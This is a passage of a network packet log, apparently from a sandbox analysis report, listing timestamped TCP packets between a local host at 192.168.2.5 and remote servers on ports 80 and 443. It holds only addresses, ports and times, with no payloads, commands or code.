Jul 6, 2021 14:31:18.419071913 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419152021 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419174910 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419195890 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419197083 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419217110 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419223070 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419240952 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419251919 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419270039 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419298887 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419317961 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419346094 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419349909 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419395924 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419445992 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419461012 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419475079 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419497967 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419533014 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419550896 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419713020 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419760942 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419763088 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419811964 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419826984 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419872046 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419951916 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419975996 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.419997931 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420002937 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420028925 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420041084 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420080900 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420084000 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420106888 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420135021 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420145035 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420171976 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420176029 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420207977 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420212984 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420238018 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420243025 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420273066 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420275927 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420300007 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420305967 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420334101 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420341969 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420367002 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420394897 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420397043 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420444965 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420531034 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420578003 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420587063 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420612097 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420634031 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420635939 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420658112 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420684099 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420689106 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420708895 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420732021 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420736074 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420754910 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420766115 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420779943 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420802116 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420828104 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420833111 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420842886 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420845985 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420862913 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420885086 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420895100 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420911074 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420933962 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420934916 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420958996 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.420964003 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.420989990 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421011925 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421034098 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421046019 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421056986 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421080112 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421083927 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421103954 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421123028 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421125889 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421148062 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421173096 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421192884 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421224117 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421240091 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421262026 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421286106 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421324015 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421358109 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421382904 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421401978 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421422005 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421430111 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421444893 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421452999 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421471119 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421479940 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421495914 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421525955 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421550035 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421560049 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421572924 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421593904 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421597004 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421619892 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421622038 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421648026 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421673059 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421689034 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421730995 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421740055 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421762943 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.421785116 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.421818972 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455399036 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455435991 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455456018 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455481052 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455493927 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455504894 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455529928 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455529928 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455553055 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455555916 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455574989 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455574989 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455600023 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455601931 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455622911 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455624104 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455643892 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455645084 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455660105 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455666065 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455678940 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455688000 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455705881 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455732107 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.455961943 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.455986977 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456003904 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456018925 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456029892 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456043959 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456051111 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456069946 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456090927 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456096888 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456113100 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456123114 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456156015 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456763983 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456810951 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456821918 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456834078 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456845045 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456857920 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456882000 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456887960 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456906080 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456927061 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456928015 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456949949 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456959963 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456974030 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.456991911 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.456995964 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.457020998 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.457025051 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.457037926 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.457057953 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.457086086 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.822935104 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.860249996 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.860280991 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.860308886 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.860323906 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.860332966 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.860354900 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.860385895 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.864485025 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.864547014 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:20.360445023 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:20.360577106 CEST	49804	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.314287901 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.315258026 CEST	49806	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.348130941 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.348303080 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.351217031 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.351345062 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.352091074 CEST	80	49806	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.352170944 CEST	49806	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.352667093 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.390110016 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409195900 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409225941 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409241915 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409260035 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409260988 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409275055 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409281969 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409296036 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409313917 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409322023 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409332037 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409353971 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409382105 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409470081 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409513950 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.409584045 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.409631014 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446088076 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446119070 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446135998 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446151972 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446160078 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446167946 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446181059 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446185112 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446197987 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446208954 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446228981 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446230888 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446247101 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446258068 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446263075 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446280003 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446280956 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446295023 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446307898 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446309090 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446325064 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446338892 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446341038 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446361065 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.446388006 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446392059 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.446413994 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.447174072 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.447196007 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.447211981 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.447247982 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.447333097 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483239889 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483272076 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483297110 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483320951 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483344078 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483371019 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483374119 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483392954 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483401060 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483426094 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483426094 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483448982 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483449936 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483488083 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483509064 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483880043 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.483943939 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.483959913 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484011889 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484036922 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484060049 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484091043 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484105110 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484114885 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484138966 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484163046 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484164953 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484186888 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484205961 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484210968 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484234095 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484246016 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484260082 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484277010 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484288931 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484313965 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484317064 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484338045 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484338999 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484361887 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484365940 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484385014 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484390020 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484406948 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484417915 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484428883 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484438896 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484452009 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484461069 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484479904 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484483957 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484509945 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484519958 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484533072 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484548092 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484556913 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484572887 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484580040 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484592915 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484602928 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484617949 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484625101 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484644890 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484648943 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484677076 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484688044 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484705925 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484719992 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484751940 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484761953 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484781027 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:22.484802008 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.484826088 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:22.508549929 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.508658886 CEST	49808	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.512187958 CEST	443	49807	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:22.512271881 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:22.516520023 CEST	49808	443	192.168.2.5	40.97.148.226
